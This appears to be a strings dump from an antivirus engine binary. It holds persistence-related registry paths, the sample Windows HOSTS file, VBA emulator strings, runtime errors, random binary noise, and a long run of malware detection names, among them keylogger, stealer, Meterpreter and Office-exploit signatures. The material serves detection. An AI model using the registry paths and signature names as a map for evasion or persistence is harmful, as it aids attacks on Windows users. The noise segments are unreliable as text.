HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ @HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ GHKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ HKCU\\Software\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ GHKCU\\Software\\Microsoft\\Internet Explorer\\ApprovedExtensionsMigration\\ HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects OHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects [HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects OHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects [HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ PHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ \\HKCU\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\ %SystemRoot%\\Tasks %SystemRoot%\\System32\\Tasks  specialfolder://norecursive:taskscheduler: +specialfolder://norecursive:taskscheduler: specialfolder://recursive:taskscheduler: )specialfolder://recursive:taskscheduler: HKLM\\SOFTWARE\\Microsoft\\SchedulingAgent (HKLM\\SOFTWARE\\Microsoft\\SchedulingAgent TasksFolder HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders FHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders hkcuserkey OSMinorVersion \\System32\\drivers\\etc\\hosts # Copyright (c) 1993-2006 Microsoft Corp. *# Copyright (c) 1993-2006 Microsoft Corp. D# This is a sample HOSTS file used by Microsoft TCP/IP for Windows. F# This file contains the mappings of IP addresses to host names. Each D# entry should be kept on an individual line. The IP address should I# be placed in the first column followed by the corresponding host name. G# The IP address and the host name should be separated by at least one \t# space. G# Additionally, comments (such as these) may be inserted on individual ?# lines or following the machine name denoted by a '#' symbol. @#      102.54.94.97     rhino.acme.com          # source server @#       38.25.63.10     x.acme.com              # x client host # localhost name resolution is handle within DNS itself. 9# localhost name resolution is handle within DNS itself. #       127.0.0.1       localhost \"#       127.0.0.1       localhost #       ::1             localhost \"#       ::1             localhost # Copyright (c) 1993-1999 Microsoft Corp. *# Copyright (c) 1993-1999 Microsoft Corp.   HKLM\\SOFTWARE\\Classes\\AppID\\ HKLM\\SOFTWARE\\Classes\\WOW6432Node\\AppID\\ )HKLM\\SOFTWARE\\Classes\\WOW6432Node\\AppID\\ AppId HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ \\HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ HKLM\\SOFTWARE\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command HHKLM\\SOFTWARE\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command  \\Internet Explorer\\iexplore.exe HKLM\\SOFTWARE\\Wow6432Node\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command THKLM\\SOFTWARE\\Wow6432Node\\Clients\\StartMenuInternet\\IEXPLORE.EXE\\shell\\open\\command HKLM\\SOFTWARE\\Policies\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths HHKLM\\SOFTWARE\\Policies\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0 1HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0 restrictsendingntlmtraffic HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\ KHKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\  taskscheduler \\System32\\Tasks\\ HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender 2HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender SenseEnabled  ManagedDefenderProductType PartnerGuid ^%s*(.-)%s*$  !#Lua:ContextFromQakbotDownload 3C$ @ pYov5V1 : ]ZDz IO/Z6  IO/Z6 5|6\"f yO!! % Zy 1 :  IU\\i VLV.}!l M{6?#t IXE:K  IXE:K  IZUz I\\\t-[  I\\\t-[ I\\T_%  I\\T_% I][tp  I][tp >Md%ft   IcjG  Ie\\< G\\=/D u.5cF Ih`1$  Ih`1$ _U7Mj `'78j hAq+z  IoIQ  IrP0 2aQ$i*T  IvCo Ix}#=  Ix}#= q($+n Iy?_1  Iy?_1  IzxA HqpYy oVC+j  I{<_ tSr8^ (`E+n z `Hu Y/{\t{ sdUUs R4'Y! Qy`J(r L _>u J\t,!T`#*y1 kBd?A JoSmc p<q-\t <T;,%o F-8$O nDG9!( (<|m= };J6'v jdY2G ]e$,w> W\\]bC J>'De <O)7J2o qGZi<B %OIQv L ~r/`aGA e/Fnu#. G0 +> \\lhcO h,iG& h|tO\" B{*o~i] ;B{*o~i] 0MVu%  l!%a (nWYNV +eRsX T(.7N yM k{ _N%>) }v.oI 8O:Re ! 1f9Zn 2Gs  2Gs |Ls9|Lsc|Ls^}Ls:}Ls Ls=vLs9 KskvLs wLs6wLs KscxLs uLsHuLs vLs%vLs vLs%vLs% LsgtLs TASKMAN.EXE Ls  \"TASKMAN.EXE) WLsZMsvMs Ls%s(%d) Ls%s(%d)> Gs\\CDs4gDs9 CDsaCDs9gDs gDsUjDs0 GsnVMs Ms\\\\] [...]> Ms*.* Ms*.*c:\\X> Ks6'Ds \tNsm\tNs \tNsm\tNs>  NsY Ns ,Nsa-Ns +Nsq-Ns -Ns.Ns ,Ns0-Ns ,Ns/,NsK,Ns_,Nss,Ns GsC/Ns3/Ns KsM0Ns .NsVB5DB.DLL KsnJNs JNsCLNs IsODBC ODBC; IsODBCODBC;SourceNumberHelpContextHelpFileDescription> Nsaoxomoxoa AccessObjSiteData OlePres000 NsOleUIPasteSpecialA OleUIInsertObjectA OLEDLG.DLL NsOleUIPasteSpecialAOleUIInsertObjectAOLEDLG.DLLr mbmabptebkjcdlgtjmskjwtsdhjbmkmwtrak c&Os^ mbmabptebkjcdlgtjmskjwtsdhjbmkmwtrakAdminData1WSc&Os^ &OsTypesSupported EventMessageFile System\\CurrentControlSet\\Services\\EventLog\\Application &OsTypesSupportedEventMessageFileSystem\\CurrentControlSet\\Services\\EventLog\\Application CsvCOs COs!DOsPDOs{DOs DOsgEOs4FOsxFOs GOszGOs _Os$`Os CsUdOs}dOs:  Out of memory) ( tPGs$ lPGs# `PGs% TPGs' LPGs& @PGs( 4PGs! (PGs\" tPGs$lPGs#`PGs%TPGs'LPGs&@PGs(4PGs!(PGs\" xOGs. lOGs/ dOGsp \\OGsq TOGsr LOGss DOGst <OGsu 4OGsv ,OGsw $OGsx OGs.xOGs.lOGs/dOGsp\\OGsqTOGsrLOGssDOGst<OGsu4OGsv,OGsw$OGsx EnableEventMonitor VBAEV_%s FINALHANJAJUNJAHANGEULMODECHANGEACCEPTNONCONVERTCONVERTKANJIKANAF16F15F14F13F12F11F10F9F8F7F6F5F4F3F2F1HELPDELETEDELINSERTCAPSLOCKCLEARBSBKSPBACKSPACEBREAKPRTSCSCROLLLOCKNUMLOCKPGDNPGUPDOWNUPRIGHTLEFTENDHOMEESCAPEESCTABENTERCLSIDEnableEventMonitorVBAEV_%s OsUnknownProject.UnknownModule UnknownProcedure@0x%x() InternalBasicMethodCall %s.%s(...) %s.#%d(...) %s.%s %s.%s.Procedure@0x%x(...) %s.%s.%s(...) Host Event VBA_Internals UnnamedHostEvent@0x%x() VBA_unknown_function(..) .root. %s.%s.%s%s%s _B_str_ _B_var_ UnknownProcedure UnknownModule UnknownProject (...) STORED_OBJECT BLOB_OBJECT ClipboardFormat VT_??? STREAMED_OBJECT LPWSTR LPSTR HRESULT Unsigned Integer64 Integer64 Unsigned Long Unsigned Integer Unsigned Character Character VARIANT Boolean SCODE IDispatch Single Integer VBA_Compilation VBA_Initialization VBA_none VBA_Run VBA_idle_time() VBA_eval_constant_expression() VBA_new_BasicClass() VBA_PrintObject() VBA_unknown_function(...) OsUnknownProject.UnknownModuleUnknownProcedure@0x%x()InternalBasicMethodCall%s%s.%s(...)%s.#%d(...)%s.%s%s.%s.Procedure@0x%x(...)%s.%s.%s(...)Host EventVBA_InternalsUnnamedHostEvent@0x%x()VBA_unknown_function(..).root.%s.%s.%s%s%sPut_Let_$_B_str__B_var_UnknownProcedureUnknownModuleUnknownProjectUnknownProcedure,((...)UnknownModuleUnknownProject[]STORED_OBJECTBLOB_OBJECTClipboardFormatVT_???STREAMED_OBJECTLPWSTRLPSTRUDT *ArrayHRESULTvoidUINTintUnsigned Integer64Integer64Unsigned LongUnsigned IntegerUnsigned CharacterCharacterDecimalIUnknownVARIANTBooleanSCODEIDispatchStringDateCurrencyRealSingleLongIntegerNULLVBA_CompilationVBA_InitializationVBA_noneVBA_RunVBA_idle_time()VBA_eval_constant_expression()VBA_new_BasicClass()VBA_PrintObject()VBA_unknown_function(...)intl >SeSystemtimePrivilege >SeSystemtimePrivilegeERROR FALSETRUENULL 9 F!F5LAKRCSG 9 F!F5LAKRCSGK   ,\"# #ERROR#FALSE##TRUE##NULL#              ?*    $ \t steamy |TestRecordByteDecimalUnknownVariantBooleanErrorObjectStringDateCurrencyDoubleSingleLongIntegerNullEmpty RKPs^ NothingRKPs^ KPs7LPsdLPs Gs@-Sst Gs@-SstGs -SsdGs GsD-Ss< Gs<-Ss$ Gs,-Ss -SsPGsD-Ss<Gs<-Ss$Gs,-Ss Fs8-Ss FsH-Ss Fs0-Ss Fs4-Ss| FsL-Ssp Fs$-Ssd Fs -Ss< Fs(-Ss ImmGetDefaultIMEWnd [GsImmGetDefaultIMEWndSendIMEMessageExAUSER32.DLL> 4`Gs\t e+000 runtime error  TLOSS error SING error DOMAIN error R6028  - unable to initialize heap R6027  - not enough space for lowio initialization R6026  - not enough space for stdio initialization R6025  - pure virtual function call R6024  - not enough space for _onexit/atexit table R6019  - unable to open console device R6018  - unexpected heap error R6017  - unexpected multithread lock error R6016  - not enough space for thread data   abnormal program termination R6009  - not enough space for environment R6008  - not enough space for arguments R6002  - floating point not loaded Microsoft Visual C++ Runtime Library Runtime Error!  Program:  e+000runtime error TLOSS error                                 Program: ...<program name unknown>  (8PX 50P (8PX ppxxxx `h````ppxxxx frexp _hypot _cabs ldexp (null)(null)_yn_y1_y0frexpfmod_hypot_cabsldexpmodffabsfloorceiltancossinsqrtatan2atanacosasintanhcoshsinhlog10logpowexp 1#QNAN 1#INF 1#IND 1#SNAN GetLastActivePopupGetActiveWindowMessageBoxAuser32.dll1#QNAN1#INF1#IND1#SNAN @Qm6t F\\Software\\VB and VBA Program Settings\\oeS Ss_^[ A@QPV   2 c&0k               k%31                                       @(>  jXG   jXG   jX(?   @(>  b` + 0.T\t +:  \t +3 .{\t + o\t &\t (   h o\t &\t       H (     %s  F  BGHu y  n  POST    $ C 7# $ +  \t  )   Y 1  C]In k|> . Y( wAs @Dd ! x^3 \\K\\^  \tvG{ K@ 2 &([ }| +` 0rV E  u{-n dW 3^\t JBQG W ) M$M L_ i(1;                                                 DEF@                    iset  fset  xset  tset  eset             )9  );?>   i dfA S-=RPF:MeterpreterClassifierA:98RPF:MeterpreterClassifierALua:MsilMpAttributeMLAGGR:Tobeet_Msil_5C5C1FF3SIGATTR:MSIL/LoadPEBase64.JHSTR:Tobeet_Msil_26D8E416HSTR:Tobeet_Msil_0084C89CHSTR:Tobeet_Msil_B3EBDC8BHSTR:MSIL/Obfuscator.DotNetPatcher.AHSTR:Tobeet_Msil_96837E23HSTR:SoftwareBundler:Win32/LoadArcher.A1AGGR:Tobeet_Msil_B194E94AHSTR:Tobeet_Msil_D942BF00HSTR:Tobeet_313430A6HSTR:Maruo_exceptionAGGR:Tobeet_Msil_FC233178SIGATTR:Trojan:MSIL/Kryptik.AAR!emlHSTR:Tobeet_Msil_DC4AA089SIGA:MSIL/Suspicious.Packer.S1PEPCODE:Worm:Win32/Conficker.BHSTR:Tobeet_Msil_92640FCBHSTR:Tobeet_F160B496RANSMATTR:PeLodPackedFileHSTR:Win32/Exprio.gen!lowfiHSTR:Tobeet_709D9FEAPUA:ML:Blocked:AutoKMSHSTR:Tobeet_Msil_E7CA121CHSTR:MSIL/PvLogiciels.dotNetProtector.AAGGR:Tobeet_Msil_CD6BE4DAHSTR:AutoAttrMsil_10CDD2ECTrojan:MSIL/MakeShiftTestPEPCODE:TrojanDropper:Win32/Small.RZSCPT:JS/wp-content.AHSTR:Tobeet_Msil_545A5F34HSTR:Tobeet_Msil_1B8D0818PEPCODE:Virus:Win32/Virut.AWHSTR:AutoAttrMsil_33B35CFBHSTR:MSIL/Obfuscator.DotBundle.AHSTR:AutoAttrMsil_DF7A6DF2SIGATTR:MSIL/FileLoad4.JHSTR:RegKey/McAfee.AHSTR:ChkStackNonDwordAlignedReadAGGR:SingleExeInAceHSTR:AutoAttrMsil_34DC6377HSTR:Trojan:Win32/IsDelphiLua:ExecuteSingleExportDLL.AHSTR:Tobeet_1803F26DHSTR:Tobeet_Msil_A6710A26HSTR:Tobeet_Msil_F520C34CHSTR:VirTool:MSIL/Obfuscator.AMHSTR:Sopinar.E!stringHSTR:EXC_KingSoftComponentHSTR:Tobeet_0B8D379CHSTR:Call_Pop_Reg32_dynAGGR:Tobeet_Msil_CE9B6515PUA:ML:Blocked:iBryteInstallerHSTR:MinGWFileHSTR:AutoAttrMsil_7EC7412FHSTR:Win32/DelphiFileSIGATTR:importresolverHSTR:Tobeet_Msil_AE86A6B2AGGR:Tobeet_Msil_E4F65F9BLowfi:HSTR:ConfuserDecrypterPEPCODE:Virus:Win32/Virut.BNHSTR:NSIS.gen!AVirTool:Win32/CeeInject.gen!KK_markerHSTR:Tobeet_546F3F32HSTR:Tobeet_Msil_C1072E92TEL:AGGR:Heaple:95!mlHSTR:Tobeet_Msil_B7461033HSTR:Tobeet_Msil_408573FEHSTR:AutoAttrMsil_7E27377FHSTR:Tobeet_65CE53A2HSTR:VirTool:Win32/Obfuscator.XZAGGR:Tobeet_Msil_5D6D47C7HSTR:Tobeet_25DE9A11HSTR:Tobeet_Msil_81BF013DHSTR:Tobeet_5AE3F42BAGGR:Tobeet_Msil_7B3D6F74AGGR:Tobeet_Msil_9D38F64DTEL:Context/Artoelo.gen!BHSTR:Tobeet_Msil_83A3BBBBHSTR:Tobeet_Msil_56BC5B99HSTR:Tobeet_Msil_7FCA3D89HSTR:VirTool:MSIL/GeneralPacker.S09HSTR:Base64encryptedAVTEL:EnableTaskMgr!msilLUA:SetCloudDeliveredAttributesHSTR:AutoAttrMsil_F23C104CSIGA:TrojanSpy:MSIL/Stealer.S5HSTR:AutoAttrMsil_4650DF6FLowfi:HSTR:Win32/DomainIQ.DHSTR:Tobeet_Msil_1204FBADMSILFOP:Worm:MSIL/Autorun.ADHSTR:PossiblyClean:Corecast_Apps.Etic.ModuleName.AHSTR:Tobeet_28552658AGGR:BatFileWithLargeSizeHSTR:Tobeet_Msil_E4FF787EAGGR:Tobeet_Msil_339AF84DAGGR:Tobeet_Msil_034E3D19TEL:AGGR:PowerShell/MSILProcessWithPSrunspaceHSTR:Tobeet_7858D07BHSTR:AutoAttrMsil_09F967D2TEL:MSIL/Cusax.gen!A!SupportAGGR:Tobeet_Msil_75B3F065HSTR:PeHeaderBase64PEPCODE:Trojan:Win32/Vundo.IBHSTR:Tobeet_Msil_EF5C220CTEL:Trojan:MSIL/MakeShiftTestPUA:BundlerCluster:AutoKMS2AGGR:Tobeet_Msil_CFB99D7DHSTR:Tobeet_Msil_F3E0126EAGGR:Tobeet_Msil_F3DFB19FSIGATTR:MSIL_UntrustedWinServiceInstaller.CHSTR:Tobeet_Msil_7513810DAGGR:Tobeet_Msil_91EDAAD6HSTR:Tobeet_Msil_AEA0E892ATTRIBUTE:SIGA:MISL:PossibleCopyToRemovalbe:S1HSTR:Backdoor:Win32/ShinoBot.AHSTR:Tobeet_Msil_689363A3BRUTE:VbsFileExtStringInHeaderSCPT:Exploit:CVE-2015-8651.1HSTR:MSIL/LoressoObfus.B!decodeAGGR:Tobeet_Msil_ED9447D6BRUTE:LnkFileExtStringInFooterHSTR:MSIL/Obfuscator.MPRESS.ATEL:KillMsconfig!msilHSTR:Tobeet_A7D13044AGGR:Tobeet_Msil_F88BF6E5pea_lastscn_fakeSCPT:Exploit:O97M/CVE-2017-11882.CAGGR:Tobeet_Msil_B76B6839HSTR:Tobeet_Msil_1F630E3EHSTR:AutoAttrMsil_FF15F213AGGR:Tobeet_Msil_59045CBFSIGATTR:MSIL_UntrustedWinServiceInstaller.AHSTR:AutoAttrMsil_4B775CC8HSTR:Tobeet_9198026CHSTR:AutoAttrMsil_82E0A980HSTR:Tobeet_Msil_4D14F8AAHSTR:Tobeet_Msil_D2CAB213HSTR:Tobeet_Msil_39F0DDB1HSTR:AutoAttrMsil_D5C5054FTELPER:CERT:SoftwareBundler:Win32/BunpredeltHSTR:AutoAttrMsil_E378F90DAGGR:Tobeet_Msil_A3D9F9E2HSTR:MSIL/Obfuscator.Deepsea.DHSTR:PossiblyClean:Google.ProductName.AAGGR:Tobeet_Msil_9D7A5E2FHSTR:KnownMalwareFeature!SelfDeleteBRUTE:LnkFileExtStringInHeaderHSTR:Tobeet_990851FDHSTR:Tobeet_Msil_33EE8FD0AGGR:Tobeet_Msil_9D79293ERANSMATTR:PeLodObfusUrHSTR:TrojanDownloader:MSIL/SupdatHSTR:Tobeet_Msil_EDFD1336AGGR:Tobeet_Msil_462F4141HSTR:Tobeet_Msil_1804421BHSTR:Tobeet_Msil_93278DF3HSTR:Tobeet_Msil_C4D2561DHSTR:Tobeet_Msil_92EE92FFAGGR:Tobeet_Msil_67260B70HSTR:Tobeet_Msil_77F83911SIGATTR:ScriptInvoke!msilHSTR:Tobeet_6DAB979FTEL:Tisifi.BHSTR:AutoAttrMsil_D14E10B0HSTR:VirTool:Win32/Obfuscator.PN.1AGGR:Tobeet_Msil_DC3C1180SCPT:Exploit:O97M/CVE-2017-11882.AHSTR:VBInject.MetalSIGATTR:MSIL_UntrustedWinService.AHSTR:AutoAttrMsil_9178888EHSTR:Tobeet_Msil_C92B42E3HSTR:Tobeet_Msil_95F6DE94HSTR:MSIL/Obfuscator.CodeFort.AHSTR:Tobeet_Msil_AF7F75C7AGGR:Tobeet_Msil_CCA744D8HSTR:AutoAttrMsil_974CA641HSTR:SMA.ScriptInvoke!msilAGGR:Tobeet_Msil_37B77FA3AGGR:Tobeet_Msil_ED4BC131HSTR:MSIL/Obfuscator.Deepsea.BAGGR:Tobeet_Msil_306CC9E1HSTR:Tobeet_134C4901HSTR:VirTool:Win32/VBInject.gen!AN.2HSTR:AutoAttrMsil_EA80A033HSTR:Tobeet_Msil_919C0B87HSTR:Tobeet_Msil_794F35CDTEL:Context/Artoelo.B!suspiciousAGGR:Tobeet_Msil_560514D6SIGATTR:MSIL/FileLoad.JHSTR:Win32/SteamEncrypted.AHSTR:Trojan:Win32/Bublik.AHSTR:MSIL/GenDecnryptAlgo.S02HSTR:MSIL/ConfuserRANSMATTR:PeLodSuspDosHdrAGGR:Tobeet_Msil_4B2A1EA3HSTR:Tobeet_930AA243HSTR:Tobeet_Msil_4518E09CHSTR:Trojan:Win32/Vundo.gen!D.4TEL:CloudSuspicious_High_NewFileVirTool:MSIL/Obfuscator.AOSIGATTR:DropMZHSTR:Tobeet_Msil_F2A48A48Exploit:Win32/Wintuds.B.1HSTR:Tobeet_Msil_52F71838HSTR:PWS:Win32/Sinowal.gen!Y.3HSTR:Tobeet_85D7E005HSTR:Tobeet_Msil_BD912DE7HSTR:Tobeet_221EF57DAGGR:HSTR:Win32/PossibleKeylogger.BHSTR:VirTool:Win32/Obfuscator.EWHSTR:AutoAttrMsil_4B900A49BRUTE:Exploit:Python/CVE-2017-0143.14SIGATTR:DelAppDataAGGR:Tobeet_Msil_81D480F2BRUTE:Exploit:Python/CVE-2017-0143.15HSTR:Tobeet_250749D2HSTR:VirTool:MSIL/Obfuscator.SpicesNET.AHSTR:Win32/PossibleKeylogger.B3BRUTE:Exploit:Python/CVE-2017-0143.13HSTR:Obfuscator.Split.APIName.CBRUTE:Exploit:Python/CVE-2017-0143.12VirTool:MSIL/Obfuscator.AOHSTR:Library.Ghostscript.CHSTR:Tobeet_Msil_D43E88CBHSTR:Tobeet_4C3E1692HSTR:Tobeet_Msil_FFC22D1EAGGR:Tobeet_Msil_A65614AEHSTR:Tobeet_Msil_FD10E7D0HSTR:Tobeet_A1C80242HSTR:Tobeet_Msil_EEF6A330SIGATTR:MSIL/SuspSeq1.JHSTR:Win32/PossibleKeylogger.C1ATTRIBUTE:SIGA:MISL:PossibleDelFiles:S1CONTEXT:PUA:InstallContextMet:AttrHSTR:Tobeet_Msil_EE950FA6HSTR:Tobeet_Msil_9E2C9BCCSCPT:JS/Assignment.CharString.BInDecodedScriptSigHSTR:Tobeet_Msil_ACD443F4HSTR:Tobeet_3630D6EAHSTR:Tobeet_Msil_0BD8DC28HSTR:Language.French.AAGGR:HSTR:MSIL/PossibleKeylogger.CHSTR:VirTool:MSIL/BSOD.CheckingHSTR:AutoAttrMsil_C56CC87CGenericWhitelistHSTR:Tobeet_Msil_B92F0590AGGR:Tobeet_Msil_7236E935HSTR:AutoAttrMsil_6C630DDEBRUTE:VbsFileExtStringInFooterHSTR:Tobeet_Msil_8EC5F325HSTR:AutoAttrMsil_FD9AD31CHSTR:Tobeet_F55B09A1PEPCODE:HasDigitalSignatureHSTR:Win32/HostEXE.ALoD:Lua:PossibleShellterHSTR:HasSEHSIGATTR:PossibleURLAccessHSTR:MSIL/Obfuscator.CryptoObfuscator.BHSTR:Tobeet_Msil_8D02EAB7AGGR:Tobeet_Msil_48B84EE7AGGR:Tobeet_Msil_ADC2DD51HSTR:Win32/MipkoRANSMATTR:PeLodPackerSigMatHSTR:Tobeet_Msil_440651E5AGGR:Tobeet_Msil_E3BE96A9AGGR:Tobeet_Msil_43455B0EAGGR:Tobeet_Msil_FBFE98BCSIGATTR:VirTool:MSIL/Injector.gen!YHSTR:Tobeet_Msil_47AB4E48SIGATTR:MSIL/AVChkAGGR:Tobeet_Msil_2BB193B7HSTR:MultiBancosHSTR:ErrorMsg.AHSTR:Tobeet_C8804A3CSCRIPT:OLE.EmbeddedURL.EXESCPT:TemplateDocx.AATTRIBUTE:SIGA:Trojan:MSIL/FakeApp.S001HSTR:AutoAttrMsil_0B90B371HSTR:Tobeet_33BEBF82HSTR:Tobeet_Msil_3745F3D5HSTR:Tobeet_D9213447AGGR:Lua:MSIL:FrameworkV4HSTR:VirTool:MSIL/NetInject.APEBMPAT:DamagedPEHSTR:Virus:Win32/Virut.BNHSTR:Tobeet_33790CEEHSTR:Tobeet_588647F2HSTR:Tobeet_Msil_4EF58649HSTR:PossiblyClean:Win32/JMJ.CompanyName.AHSTR:Tobeet_Msil_38812CE1HSTR:Tobeet_60DF32E6HSTR:Tobeet_Msil_4E7CDC1DHSTR:Wizrem.X1.PrintHelperUtilityHSTR:Tobeet_Msil_499B1CA5AGGR:WebMailHSTR:Tobeet_9E67C985AGGR:Tobeet_Msil_21266A10AGGR:Tobeet_Msil_FE0927A3AGGR:Tobeet_Msil_D5715E87Lua:PuaSubstringAttributeMatchedHSTR:Tobeet_4ED50E75SIGATTR:ILProtectorHSTR:Tobeet_Msil_EE2738FAHSTR:UpxPacked.AAGGR:Tobeet_Msil_B189FC61ATTRIBUTE:Suspicious:MSIL:GmailSendTxt.A!bitSCPT:JS/Assignment.CharString.AHSTR:Tobeet_Msil_A73192F9HSTR:Tobeet_Msil_A364CADFAGGR:Lua:MSIL:UnknownFrameworkVersionHSTR:Tobeet_Msil_150B5DF7HSTR:Tobeet_Msil_496D4298HSTR:Tobeet_F7963682AGGR:Tobeet_Msil_4A968A97HSTR:MSIL/Malicious.Decryption.AHSTR:AutoAttrMsil_869F9627HSTR:Tobeet_Msil_7DAADFB9AGGR:Tobeet_Msil_476EF7E1HSTR:AutoAttrMsil_23618351HSTR:Tobeet_Msil_2D62B3D3AGGR:Tobeet_Msil_165C791CHSTR:Tobeet_407BB6B0HSTR:MSIL/Obfuscator.SmartAssembly.CHSTR:Tobeet_Msil_A3F76B9CHSTR:Tobeet_Msil_8B76F10AHSTR:Tobeet_Msil_EF8DF95EHSTR:Trojan:Win32/Vundo.gen!BD.2HSTR:MSIL/Obfuscator.DotNETReactor.AHSTR:AutoAttrMsil_E874F0DBAGGR:Tobeet_Msil_909CF9B3HSTR:Win32/SecurityCenter.AAGGR:Tobeet_Msil_5E82314EHSTR:Tobeet_Msil_B3344C1DHSTR:AutoAttrMsil_35DD14ECHSTR:Tobeet_Msil_2DF535FEHSTR:Tobeet_Msil_E8EECC91HSTR:Tobeet_Msil_3258A526AGGR:Tobeet_Msil_85E31AF3HSTR:Tobeet_Msil_B1EA3F66SIGA:TrojanSpy:MSIL/Keylogger.BZHSTR:AutoAttrMsil_20A9FBF6HSTR:Win32/PossibleBankerHSTR:VirTool:MSIL/Obfuscator.S06HSTR:Tobeet_Msil_2CD7415FHSTR:Websites_Found_Download_Bladabindi_BHSTR:Tobeet_D80300B4HSTR:MSIL/Obfuscator.Confuser.CSIGATTR:RunKey!msilHSTR:ML:Win32/Banload_BFL_FOLDERAGGR:Tobeet_Msil_33F287C8AGGR:Tobeet_Msil_F74E1FACHSTR:Tobeet_0D7C2009AGGR:Tobeet_Msil_F3E44878PEPCODE:Trojan:Win32/Vundo.JC.dllHSTR:Tobeet_Msil_B96FA3FFVirTool:MSIL/ToolchkAGGR:Tobeet_Msil_D7DF9230AGGR:Tobeet_Msil_EA827B9BAGGR:Tobeet_Msil_4E74E379AGGR:Tobeet_Msil_5D3187D8HSTR:Tobeet_98D81B9CHSTR:AutoAttrMsil_939FC773HSTR:AutoAttrMsil_CE5BBEAEHSTR:Tobeet_Msil_1DA7EA5AAGGR:Tobeet_Msil_F4AA4C5EAGGR:Tobeet_Msil_D9AAA802HSTR:Tobeet_Msil_0F547466AGGR:Tobeet_Msil_9EDEF1AFHSTR:Tobeet_Msil_33901747HSTR:Tobeet_AF7A27D8HSTR:Tobeet_Msil_BD9FDBC2HSTR:Tobeet_3560ADB8AGGR:Tobeet_Msil_4469FCE6HSTR:Tobeet_Msil_CD3D81BDAGGR:Tobeet_Msil_B46C56D8TEL:SqlConnectDB!msilAGGR:Tobeet_Msil_F5546CADHSTR:MFCFileAGGR:Tobeet_Msil_22AA1440HSTR:AutoAttrMsil_E2703509AGGR:Tobeet_Msil_F5638B71AGGR:Tobeet_Msil_A1E2B706AGGR:Tobeet_Msil_951C3159SIGATTR:MSIL_UntrustedWinServiceInstaller.BHSTR:Tobeet_Msil_AFD867A4AGGR:Tobeet_Msil_0DB328BFHSTR:AutoAttrMsil_6B222062HSTR:Win32/FS18.StackBase.ALowfi:HSTR:Win32/Solimba.BHSTR:TrojanDownloader:MSIL/Pstinb.AAGGR:Tobeet_Msil_DD7CF9CDHSTR:MSIL/NameSpace.CompilerServices.AHSTR:PossibleDownloader.AHSTR:Tobeet_Msil_545CC12DAGGR:Tobeet_Msil_C2CEB60DAllowList:Aggr/Fuerboos.AHSTR:FMAuditInstallerRANSMATTR:PeLodNoExceptionHSTR:Zwangi_NamesHSTR:AutoAttrMsil_4493F337HSTR:Tobeet_Msil_5A4072D2HSTR:Tobeet_Msil_551230B0HSTR:VirTool:Win32/VBInject.RT.1HSTR:URL:tempuri.org.AHSTR:Tobeet_DFE2334CHSTR:Tobeet_EB264A5CHSTR:Tobeet_17A16FD2AGGR:Tobeet_Msil_27187C07ATTRIBUTE:SIGA:MISL:RunKeySet:S1HSTR:Tobeet_Msil_B206EEB3HSTR:Tobeet_55EADFD7Exploit:O97M/DDEDownloader.D5AGGR:Tobeet_Msil_4E8D0A83HSTR:MSIL/ClassRijndaelManaged.ASIGATTR:VirTool:MSIL/Injector.SC!bitFOP:Win32/Nuwar.unsafeMS08067_DIRTRAVERSALAGGR:Tobeet_Msil_1B65054DHSTR:Tobeet_Msil_9331117DHSTR:Tobeet_Msil_B9F864EBHSTR:Exploit:MSIL/SivliatAllowList:Citrix:LauncherStubHSTR:Tobeet_Msil_95AF063DHSTR:MSIL/PossibleKeylogger.A5HSTR:TrojanDownloader:Win32/Banload.gen!F.2SIGATTR:SMA.ScriptInvoke!msilHSTR:MSIL/Class.UriBuilder.AAGGR:Tobeet_Msil_D5058380HSTR:Tobeet_DE18E8FAHSTR:AutoAttrMsil_3C4F69E2HSTR:Tobeet_Msil_F5634504HSTR:Win32/Domain.BRLowfi:HSTR:Win32/AgileDotNetObfuscatordo_nounpack_rescanRANSMATTR:PeLodNoExportsATTRIBUTE:SIGA:TrojanDownloader:MSIL/Genmaldow.S14Exploit:Win32/Wintu